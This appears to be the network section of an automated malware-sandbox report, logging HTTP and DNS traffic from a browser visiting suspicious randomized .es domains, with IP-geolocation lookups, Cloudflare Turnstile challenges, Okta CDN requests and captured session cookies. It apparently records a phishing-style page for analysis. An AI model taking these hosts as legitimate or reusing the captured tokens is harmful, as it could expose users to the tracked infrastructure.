XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://ranr5.oqgriud.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh2tvkDL0be18LjQsWGZKqxy0CYAeDAtybmAXh00U12210 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvhL1ADFrGd59QKm3aUd1YWJQvR6N74GYmMKpoJ45B0Wl3znehUgbrTCUpy1u4DfUGdfKgh251 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qr3vr6ttdBKclLV3jMFLK1mSB6Vk6Qf1Gwn09JfQyoo12OiHY6ETuKI3PpIXVeYgef240 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /sqsizdvxgltvkhevymocfnthdRtcBsgONJORRADQKGQTSMPVWLSEXXPPUUNWHSPHGTHZJGOMDOHIGVLKTrsuFYKzr4ud5XM1w5yzDHHXwx38 HTTP/1.1Host: 6d1fwx9uxuoohmaxbijulx755yzoqrx9oiueol3zuxj9z2pjl3dzt33v.iuhqpa.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajya41Bpa0wbRdhlEPIQoBfMQup6Cn793miqFyTzMHkTmm3ZZHdMtIpe HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkRubDQrbitWTk44NlZ1RXVTcEl4eGc9PSIsInZhbHVlIjoiNWt2TXdoaTMzSk80NUJkMmlmbWt5TlpPZEg4M2t5R3pMYjU3bG0vazVWUG9xc3VZcWdkMVhFc3RJT1huUnA4WTBwU2Q3bUFzclB6bzJNUzZqK1FrdWpUTXRtNlRFckZsUVdlZWxVMTZRamN2Sy9ORmtMcTE2amRSUkVJOEtXU1AiLCJtYWMiOiI3MGJjZGZiNjMzZjE1MzFiOTU2Mjc4YWQwOTQyMjdlYjY4ZTg2MjI1NTBmNzkxMzMzNWEyNTFiNDg4OGY4NDc3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpRV3padElBMzhyMWM0QW02NkJKcFE9PSIsInZhbHVlIjoiRnlNZkNsaG5uM3VwbTlZYlBlMEVSY3NXakVwVlNSVVhmclBUL2tkdU5CdEVvcXcxYlFhcTQrdGNtVGRqMlM0T1EyL1RQTG5iYkJybHFleVpacU54YUJrQjczUmVJYW1vOW52OUlVd29NY3lnbVpPS045QTdFN1RWamxDT0ppMXciLCJtYWMiOiI2NjJiNjU2N2ZlNTFmYzRmZDFhYjY5NTk4ZjY5ZGM1MzE3N2QyMmU1OGJhMDQ1NWVmYWZmNmM1OGQwNDYyZGE5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /sqsizdvxgltvkhevymocfnthdRtcBsgONJORRADQKGQTSMPVWLSEXXPPUUNWHSPHGTHZJGOMDOHIGVLKT12NXp6Hjqw56eaCzop50 HTTP/1.1Host: 6d1fwx9uxuoohmaxbijulx755yzoqrx9oiueol3zuxj9z2pjl3dzt33v.iuhqpa.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ranr5.oqgriud.es
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: siur4.ugyqwmm.es
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: 6d1fwx9uxuoohmaxbijulx755yzoqrx9oiueol3zuxj9z2pjl3dzt33v.iuhqpa.es

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3377sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_cf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 22 Apr 2025 18:09:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jss7srFG8DWeKuAFt6etXYycQ9uk67wg4lG5aTgeHZ4Zz5sU1uVf19xzL3qfkSNSOWT19PFLt81oUOKNtHLKtHYdQLmtA%2BiVpsMDbkQEXCzhb9yPyVwoF6zEePgh"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=428&min_rtt=373&rtt_var=148&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2055&delivery_rate=8169696&cwnd=252&unsent_bytes=0&cid=1f266da8d0734af7&ts=186&x=0"CF-RAY: 93471304cf4d368e-LHRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 22 Apr 2025 18:09:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ubwq17uzy99XM13g1v3RIjOF8WvLEXAqa8ESgXSZlV%2FN4FK987bGpBrKKzrE37KSjKlrHEG2L5OtYjJkxfIipj5FFq1kxOgaZ2qdC4SL82GiGyGFQLBvQvxn46M%2F"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer-Timing: cfL4;desc="?proto=TCP&rtt=15710&min_rtt=15709&rtt_var=4421&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2250&delivery_rate=257284&cwnd=252&unsent_bytes=0&cid=fe5affe33dc9c30a&ts=196&x=0"Cache-Control: max-age=14400Cf-Cache-Status: EXPIREDCF-RAY: 9347130d5b95732d-LHRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 22 Apr 2025 18:09:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uKDr%2FyHya2LKI70dsZNJBDtoxxWKOtUC5aehGiqglYk79p3rGxVysl1cWh5rgWoswAJ%2FGn6s5Eek0%2BqjjzSJpHzLd4h8sqU30eb34DYNiGd07otDhfjsjeRv%2Bi7Y"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=333&min_rtt=309&rtt_var=102&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2063&delivery_rate=11824561&cwnd=252&unsent_bytes=0&cid=cc0c2aa86efdab5f&ts=187&x=0"CF-RAY: 934713116bc4ef98-PDXalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 22 Apr 2025 18:10:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6TvivGid0UPXBMBnv5fNxDXmnLeiSb0meNAtXTd8PdXudZLEbRx%2BoBRwzz2tTqqN%2BTDk%2BG4vH%2B1AIbMbY2%2BAOjTBe6Lg2AdBUCRZinsZxRuxFn5l538Ud7Ij2byO"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=350&min_rtt=348&rtt_var=134&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2065&delivery_rate=11109890&cwnd=252&unsent_bytes=0&cid=76a561113f28fd1a&ts=180&x=0"CF-RAY: 934713903b60cdbe-LHRalt-svc: h3=":443"; ma=86400

Source: chromecache_89.2.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_89.2.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_117.2.dr	String found in binary or memory: https://www.homedepot.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
